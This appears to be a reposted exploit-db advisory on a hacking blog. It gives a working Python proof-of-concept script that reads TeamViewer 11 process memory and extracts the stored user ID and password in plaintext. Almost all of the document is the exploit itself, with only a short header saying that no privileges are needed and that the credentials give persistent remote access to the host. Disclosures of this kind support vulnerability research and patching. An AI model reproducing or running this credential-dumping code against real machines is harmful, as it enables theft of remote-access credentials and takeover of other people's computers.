Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863558992

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#####
# TeamViewer 11.0.65452 (64 bit) Local Credentials Disclosure
# Tested on Windows 7 64bit, English
# Vendor Homepage @ https://www.teamviewer.com/
# Date 07/09/2016
# Bug Discovered by Alexander Korznikov (https://www.linkedin.com/in/nopernik)
#
# http://www.korznikov.com | @nopernik
#
# Special Thanks to:
#       Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#       Yakir Wizman (https://www.exploit-db.com/author/?a=1002) | (http://www.black-rose.ml)
#
#####
# TeamViewer 11.0.65452 is vulnerable to local credentials disclosure, the supplied userid and password are stored in a plaintext format in memory process.
# There is no need in privilege account access. Credentials are stored in context of regular user.
# A potential attacker could reveal the supplied username and password automaticaly and gain persistent access to host via TeamViewer services.
#
# Proof-Of-Concept Code:
#####

from winappdbg import Debug, Process, HexDump
import sys
import re

filename = 'TeamViewer.exe'

def memory_search( pid ):
        found = []
        # Instance a Process object.
        process = Process( pid )
        # Search for the string in the process memory.

        # Looking for User ID:
        userid_pattern = '([0-9]\x00){3} \x00([0-9]\x00){3} \x00([0-9]\x00){3}[^)]'
        for address in process.search_regexp( userid_pattern ):
                 found += [address]
        
        print 'Possible UserIDs found:'
        found = [i[-1] for i in found]
        for i in set(found):
           print i.replace('\x00','')
        
        found = []
        # Looking for Password:
        pass_pattern = '([0-9]\x00){4}\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00'
        for address in process.search_regexp( pass_pattern ):
                 found += [process.read(address[0]-3,16)]
        if found:
            print '\nPassword:'
        if len(found) > 1:
            s = list(set([x for x in found if found.count(x) > 1]))
            for i in s:
               pwd = re.findall('[0-9]{4}',i.replace('\x00',''))[0]
            print pwd
        else:
            print re.findall('[0-9]{4}',found[0].replace('\x00',''))[0]
        
        return found

debug = Debug()
try:
        # Lookup the currently running processes.
        debug.system.scan_processes()
        # For all processes that match the requested filename...
        for ( process, name ) in debug.system.find_processes_by_filename( filename ):
                pid = process.get_pid()

        memory_search(pid)
           
finally:
        debug.stop()